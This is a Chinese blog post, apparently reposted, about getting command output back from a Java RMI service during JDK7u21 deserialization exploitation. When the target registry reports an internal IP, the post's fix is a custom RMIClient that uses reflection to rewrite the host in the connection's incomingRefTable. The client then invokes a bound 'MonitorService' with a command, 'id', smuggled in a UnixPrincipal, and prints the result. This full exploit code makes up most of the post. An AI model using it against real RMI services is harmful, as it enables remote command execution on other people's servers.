java反序列之Jdk7u21回显 ~ 解决网络问题

java反序列之Jdk7u21回显 ~ 解决网络问题,第1张

java反序列之Jdk7u21回显 ~ 解决网络问题

之前利用绑定服务的方式实现了回显,但是在部分场景下存在网络问题导致无法实现回显。

分析

在服务绑定到注册中心时,服务的地址是通过解析Hostname得到。

这里就存在了问题,很多时候目标的Hostname解析结果并不是外网IP而是 本机 的内网IP,lookup时在客户端从注册中心拿到代理对象stub后,通过stub得到服务地址后,会在客户端与服务地址建立连接。如果是攻击外网的RMI服务,由于内网IP导致无法建立链接。

从nmap的扫描结果也能看出这个问题。

虽然是内网IP,但是由于高版本JDK中注册中心和服务端必须在同一台机器上,所以通常这个内网IP都是本机的内网IP。那么只要将这个内网IP修改为外网IP,不存在安全策略的情况下依然能调用服务实现回显。

sun.rmi.registry.RegistryImpl_Stub#lookup

接下来就走了一遍整个流程,发现只要修改了该方法中的var2对象中的incomingRefTable属性中的Host即可解决问题,这里通过反射修改该属性值。

最开始准备使用Java Agent来解决,后面发现不用Hook直接将lookup方法给抽取出来也行。

public class RMIClient extends RemoteObject {

    private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
    private RemoteRef ref = null;
    private String ip = null;

    public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
        try {
            StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var15) {
                throw new MarshalException("error marshalling arguments", var15);
            }

            this.ref.invoke(var2);

            Remote var20;
            try {
                ObjectInput var4 = var2.getInputStream();
                var20 = (Remote)var4.readObject();

                Field f = var2.getClass().getDeclaredField("in");
                f.setAccessible(true);
                Object conn = f.get(var2);

                f = conn.getClass().getDeclaredField("incomingRefTable");
                f.setAccessible(true);

                HashMap rets = (HashMap) f.get(conn);

                Map.Entry entry = (Map.Entry) rets.entrySet().iterator().next();

                f = entry.getKey().getClass().getDeclaredField("host");
                f.setAccessible(true);
                f.set(entry.getKey(), this.ip);
            } catch (IOException | ClassNotFoundException | ClassCastException var13) {
//                var2.discardPendingRefs();
                throw new UnmarshalException("error unmarshalling return", var13);
            } finally {
                this.ref.done(var2);
            }

            return var20;
        } catch (RuntimeException var16) {
            throw var16;
        } catch (RemoteException var17) {
            throw var17;
        } catch (NotBoundException var18) {
            throw var18;
        } catch (Exception var19) {
            throw new UnexpectedException("undeclared checked exception", var19);
        }
    }

    public static void main(String[] args) throws Exception {

        String command = "id";
        String ip = "ip";
        Registry registry = LocateRegistry.getRegistry(ip, port);

        //        for(String x:registry.list()){
        //            System.out.println(x);
        //        }

        Subject subject = new Subject();
        Field f = subject.getClass().getDeclaredField("principals");
        f.setAccessible(true);
        Set set = new HashSet();
        UnixPrincipal unixPrincipal = new UnixPrincipal(command);
        set.add(unixPrincipal);
        f.set(subject, set);

        f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        f.setAccessible(true);

        RMIClient r = new RMIClient();
        r.ref = (RemoteRef) f.get(registry);
        r.ip = ip;

        System.out.println(((RMIConnection)r.lookup("MonitorService")).getDefaultDomain(subject));

    }
}

使用原生lookup时,建立连接失败导致无法回显命令结果。

使用修改后的lookup方法成功回显。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5686814.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存